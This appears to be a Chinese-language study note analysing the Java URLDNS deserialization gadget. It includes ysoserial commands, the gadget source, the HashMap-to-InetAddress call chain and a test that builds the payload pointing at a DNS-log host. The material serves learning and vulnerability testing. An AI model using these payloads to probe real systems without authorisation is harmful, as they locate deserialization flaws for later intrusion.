URLDNS反序列化分析

// 序列化
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream);
objectOutputStream.writeObject(new User());    // 序列化操作
objectOutputStream.flush();
objectOutputStream.close();
System.out.println(outputStream.toString());

// 反序列化
byte[] in = outputStream.toByteArray();
ByteArrayInputStream inputStream = new ByteArrayInputStream(in);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
Object o = objectInputStream.readObject();    // 反序列化操作
objectInputStream.close();
System.out.println(o);

public class User implements Serializable {
    int age;
    private String name;
    public static final long serialVersionUID = 5454545454L;

private void writeObject(ObjectOutputStream oos) throws IOException {
        oos.defaultWriteObject();   // 默认的序列化方式
        oos.writeObject("hello world");
    }

@Serial
    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ois.defaultReadObject();    // 默认的反序列化方式
        String message = (String) ois.readObject();
        System.out.println(message);
    }
}

java -jar ysoserial-all.jar [payload] '[command]'

java -jar ysoserial-all.jar URLDNS http://urldns.4f4e4172.dns.1433.eu.org > urldns.txt

@Test
public void test1() throws Exception {
    FileInputStream inputStream = new FileInputStream("urldns.txt");
    ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
    Object o = objectInputStream.readObject();
    objectInputStream.close();

}

public class URLDNS implements ObjectPayload<Object> {
    public Object getObject(final String url) throws Exception {
        //Avoid DNS resolution during payload creation
        //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
        URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap(); // HashMap that will contain the URL
        URL u = new URL(null, url, handler); // URL to use as the Key
        ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

// During the put above, the URL's hashCode is calculated and cached. 
        // This resets that so the next time hashCode is called a DNS lookup will be triggered.
        Reflections.setFieldValue(u, "hashCode", -1); 
        return ht;
    }

public static void main(final String[] args) throws Exception {
        PayloadRunner.run(URLDNS.class, args);
    }

/**
    * 重写SilentURLStreamHandler类是为了避免创建URL对象的时候发出DNS请求
    */
static class SilentURLStreamHandler extends URLStreamHandler {
        protected URLConnection openConnection(URL u) throws IOException {
                return null;
        }
        protected synchronized InetAddress getHostAddress(URL u) {
                return null;
        }
    }
}

@java.io.Serial
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
    reinitialize();
    if (loadFactor <= 0 || Float.isNaN(loadFactor))
        throw new InvalidObjectException("Illegal load factor: " + loadFactor);
    s.readInt();                // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    if (mappings < 0)
        throw new InvalidObjectException("Illegal mappings count: " + mappings);
    else if (mappings > 0) { // (if zero, use defaults)
        // Size the table using given load factor only if within
        // range of 0.25...4.0
        float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
        float fc = (float)mappings / lf + 1.0f;
        int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                    DEFAULT_INITIAL_CAPACITY :
                    (fc >= MAXIMUM_CAPACITY) ?
                    MAXIMUM_CAPACITY :
                    tableSizeFor((int)fc));
        float ft = (float)cap * lf;
        threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int)ft : Integer.MAX_VALUE);

// Check Map.Entry[].class since it's the nearest public type to
        // what we're actually creating.
        SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry[].class, cap);
        @SuppressWarnings({"rawtypes","unchecked"})
        Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
        table = tab;

// Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
                K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}

HashMap.readObject()
HashMap.hash()
URL.hashCode()
URLStreamHandler.hashCode()
URLStreamHandler.getHostAddress()
InetAddress.getByName()

import org.apache.commons.codec.binary.Base64;
import org.junit.Test;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;


@Test
public void test()  throws Exception {
    URL url = new URL("http://mydns.4f4e4172.dns.1433.eu.org");
    HashMap hashMap = new HashMap<>();
    hashMap.put(url, "");
    Class clazz = Class.forName("java.net.URL");
    Field hashCode = clazz.getDeclaredField("hashCode");
    hashCode.setAccessible(true);
    hashCode.set(url, -1);

ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
    ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream);
    objectOutputStream.writeObject(hashMap);
    objectOutputStream.flush();
    objectOutputStream.close();

System.out.println(Base64.encodeBase64String(outputStream.toByteArray()));
}